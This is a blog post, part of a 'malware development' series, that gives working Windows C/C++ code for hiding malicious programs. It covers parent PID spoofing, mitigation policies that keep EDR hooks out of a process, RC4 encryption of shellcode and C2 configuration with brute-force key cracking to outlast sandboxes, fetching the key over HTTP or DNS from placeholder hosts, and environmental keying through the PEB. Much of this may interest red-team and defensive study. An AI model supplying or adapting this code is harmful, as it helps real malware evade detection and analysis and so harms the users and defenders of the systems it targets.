Malware development part 5 - tips & tricks

Introduction

This is the fifth post of a series which regards the development of malicious software. In this series we will explore and try to implement multiple techniques used by malicious applications to execute code, hide from defenses and persist.
In the previous posts we explored anti-VM, anti-sandbox, anti-debugging and anti-static-analysis methods.
In this post we’ll explore some cool tricks to further obscure our code like parent PID spoofing, process protection, environmental keying and bruteforce decryption of malware data and configuration. So this will be a mix of some cool features I’ve been implementing recently.

As always: we assume 64-bit execution environment. Also, error checks and cleanups are ommited in the code samples below.

Process creation tips

Parent PID spoofing

This is a simple method to bypass malicious behavior detections based on parent-child process relationship. Usually when an application starts another executable, the new process has a parent PID assigned which indicates the process that created it. This allows to detect and possibly block malicious intents like for example Word/Excel application starting Powershell. This technique may be combined with for example process hollowing to achieve more stealth.

The great thing is that CreateProcess API lets you provide additional information for process creation, including the one called PROC_THREAD_ATTRIBUTE_PARENT_PROCESS. Let’s see how to use it - we will create a Powershell process in a way that it will look like it was spawned by explorer.exe:

DWORD runningProcessesIDs[1024];
DWORD runningProcessesCountBytes;
DWORD runningProcessesCount;
HANDLE hExplorerexe = NULL;

EnumProcesses(runningProcessesIDs, sizeof(runningProcessesIDs), &runningProcessesCountBytes);
runningProcessesCount = runningProcessesCountBytes / sizeof(DWORD);

for (int i = 0; i < runningProcessesCount; i++)
{
    if (runningProcessesIDs[i] != 0)
    {
        HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, runningProcessesIDs[i]);
        char processName[MAX_PATH + 1];
        GetModuleFileNameExA(hProcess, 0, processName, MAX_PATH);
        _strlwr(processName);
        if (strstr(processName, "explorer.exe") && hProcess)
        {
            hExplorerexe = hProcess;
        }
    }
}

STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T attributeSize;
RtlZeroMemory(&si, sizeof(STARTUPINFOEXA));
RtlZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)new byte[attributeSize]();
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hExplorerexe, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

CreateProcessA("C:\\Windows\\notepad.exe", NULL, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

What parent process information looks like normally:

ppid1.png

And what is looks like when spoofed:

ppid2.png

Process protection

Adam Chester (_xpn_) described two interesting features that can be used to hinder dynamic code analysis performed by EDR or debugging:

  • blocking third-party binaries from being loaded into the process: PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
  • blocking operations on executable memory pages using Arbitrary Code Gurd (ACG): PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON

This was thoroughly explained by _xpn_ so let’s just see some example code:

STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T attributeSize;
RtlZeroMemory(&si, sizeof(STARTUPINFOEXA));
RtlZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)new byte[attributeSize]();
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON | PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON;
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

bool s = CreateProcessA("Malware.exe", NULL, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

Policies can also be set for existing processes using SetProcessMitigationPolicy API function.

There is a potential problem though - if we set dynamic code prohibition, the target process won’t be able to for example allocate executable memory.

Advanced data obfuscation by encoding or encryption

In previous articles I briefly mentioned string and data obfuscation by using XOR “encryption” or Base64 encoding. Let’s take it to the next level by encrypting data with a key that is not hardcoded anywhere in the binary.

We can use Bcrypt Windows library (not to be confused with bcrypt hash function) which contains implementation of many cryptographic algorithms. We can also implement our own encryption, for example an RC4 function (which should be sufficient for our obfuscation purposes, we’re not aiming for high security here):

void RC4(PCHAR key, PCHAR input, PCHAR output, DWORD length) //same function for encryption and decryption
{
    unsigned char S[256];
    int len = strlen(key);
    int j = 0;
    unsigned char tmp;
    for (int i = 0; i < 256; i++)
        S[i] = i;
    for (int i = 0; i < 256; i++) {
        j = (j + S[i] + ((PUCHAR)key)[i % len]) % 256;
        tmp = S[i];
        S[i] = S[j];
        S[j] = tmp;
    }
    int i = 0;
    j = 0;
    for (int n = 0; n < length; n++) {
        i = (i + 1) % 256;
        j = (j + S[i]) % 256;
        tmp = S[i];
        S[i] = S[j];
        S[j] = tmp;
        int rnd = S[(S[i] + S[j]) % 256];
        ((PUCHAR)output)[n] = rnd ^ ((PUCHAR)input)[n];
    }
}

Brute force decryption

Now the fun part: we can encrypt any data (strings, shellcodes, C2 configuration etc.) before putting it into the application with a random key and task the app to crack the key using brute force! This will make the analysis even more difficult. Just imagine a build pipeline which uses a random key for every compilation :)

Cracking the encryption key on the application startup takes some time (depending on the key length - choose it wisely) and may timeout dynamic analysis performed by sandbox.

See example recursive function which cracks an alphanumeric key (up to 15 characters long):

unsigned int djb2Hash(const char* data, DWORD dataLength)
{
    DWORD hash = 9876;

    for (int i = 0; i < dataLength; i++)
    {
        hash = ((hash << 5) + hash) + ((PBYTE)data)[i];
    }

    return hash;
}

PCHAR RecursiveCrack(PCHAR encryptedData, int encryptedDataLength, PCHAR key, int level)
{
    char keySpace[] = "\x00""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    PCHAR decryptedData = new char[encryptedDataLength + 1]();
    for (int i = 0; i < sizeof(keySpace) - 1; i++)
    {
        if (level == 16)
        {
            if (!i) i++;
            key[16 - level] = keySpace[i];
            RC4(key, encryptedData, decryptedData, encryptedDataLength);
            if (djb2Hash(decryptedData, encryptedDataLength) == hardcodedHash) return key;
            if (i == sizeof(keySpace) - 2) return NULL;
        }
        else
        {
            key[16 - level] = keySpace[i];
            if (RecursiveCrack(encryptedData, encryptedDataLength, key, level + 1) != NULL) return key;
            else continue;
        }
    }
    delete[] decryptedData;
    return NULL;
}

PCHAR CrackKey(PCHAR encryptedData, int encryptedDataLength)
{

    PCHAR key = new char[16]();
    RecursiveCrack(encryptedData, encryptedDataLength, key, 1);
    return key;
}

Key verification is based on comparing the hash of the decrypted data with a precalculated, hardcoded hash value.

Time-consuming operations

Instead of brute forcing a key, we could implement any mathematical calculation which lasts more than just a few seconds on a typical desktop computer and gives some unguessable value as a result. Examples include: big prime number factorization (like trying to break RSA encryption), hashing some data a billion times - the only limit is your imagination.

Key delivery

Instead of calculating the key at runtime, our malicious application can retrieve it from our server. We can implement key hosting based on DNS, HTTP or any other suitable protocol. Taking it further we could serve the key based on a user agent or cookie sent by the beacon, but it a different topic (prefably for an upcoming post about Command & Control implementation).

Below is an example HTTP GET request:

HINTERNET hSession = WinHttpOpen(L"Mozilla 5.0", WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnection = WinHttpConnect(hSession, L"domain.or.ip", INTERNET_DEFAULT_HTTP_PORT, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnection, L"GET", L"keying.html", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, NULL);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
WinHttpReceiveResponse(hRequest, 0);
DWORD responseLength, readDataLength = 0;
WinHttpQueryDataAvailable(hRequest, &responseLength);
PBYTE response = new byte[responseLength + 1];
WinHttpReadData(hRequest, response, responseLength, &readDataLength);
printf("%s\n", response);

And here is an example DNS TXT query:

PDNS_RECORDA ppDNSQueryResults;
DnsQuery_A("some.domain.tld", DNS_TYPE_TEXT,
    DNS_QUERY_TREAT_AS_FQDN | DNS_QUERY_BYPASS_CACHE | DNS_QUERY_NO_HOSTS_FILE | DNS_QUERY_NO_NETBT | DNS_QUERY_NO_MULTICAST | DNS_QUERY_WIRE_ONLY | DNS_QUERY_ACCEPT_TRUNCATED_RESPONSE,
    NULL, &ppDNSQueryResults, NULL);
PCHAR txtData = ppDNSQueryResults->Data.TXT.pStringArray[0];
printf("%s\n", txtData);

Environmental keying

This one is somewhat similar to sandbox evasion based on user names, domain names etc. However the idea here is to target specific organization or even a person with our payload by making sure that is won’t execute on a wrong machine. Specific environmental traits (like mentioned AD domain name) can be used in conditional statements or even for data decryption. This is actually catalogued as a MITRE ATT&CK technique: Execution Guardrails: Environmental Keying.

So basically this is a combination of environment-based sandbox evasion and obfuscation by encryption/encoding. Also, there is a cool trick to get environmental variables without using Windows API - it is possible to retrieve the data directly from PEB. Let’s take a quick look into x64 process environment block:

peb1.png

We have a ProcessParameters structure pointer at 0x20 (this would be 0x10 for x86 architecture). The _RTL_USER_PROCESS_PARAMETERS structure has a pointer to an array of environment strings at 0x80:

peb2.png

We then can loop through all environmental variables until we find the one called COMPUTERNAME:

PPEB pPEB = (PPEB)__readgsqword(0x60);
PVOID params = (PVOID) * (PQWORD)((PBYTE)pPEB + 0x20);
PWSTR environmental_variables = (PWSTR) * (PQWORD)((PBYTE)params + 0x80);

while (environmental_variables)
{
    PWSTR m = wcsstr(environmental_variables, L"COMPUTERNAME=");
    if (m) break;
    environmental_variables += wcslen(environmental_variables) + 1;
}
PWSTR computerName = wcsstr(environmental_variables, L"=") + 1;
wcslwr(computerName);
wprintf(L"%s", computerName);

Summary

We’ve gone through some cool techniques used by malware. Hope you’ll find that useful (but not for malicious purposes :)

In the next article we will talk about using LLVM obfuscation.

Written on November 4, 2020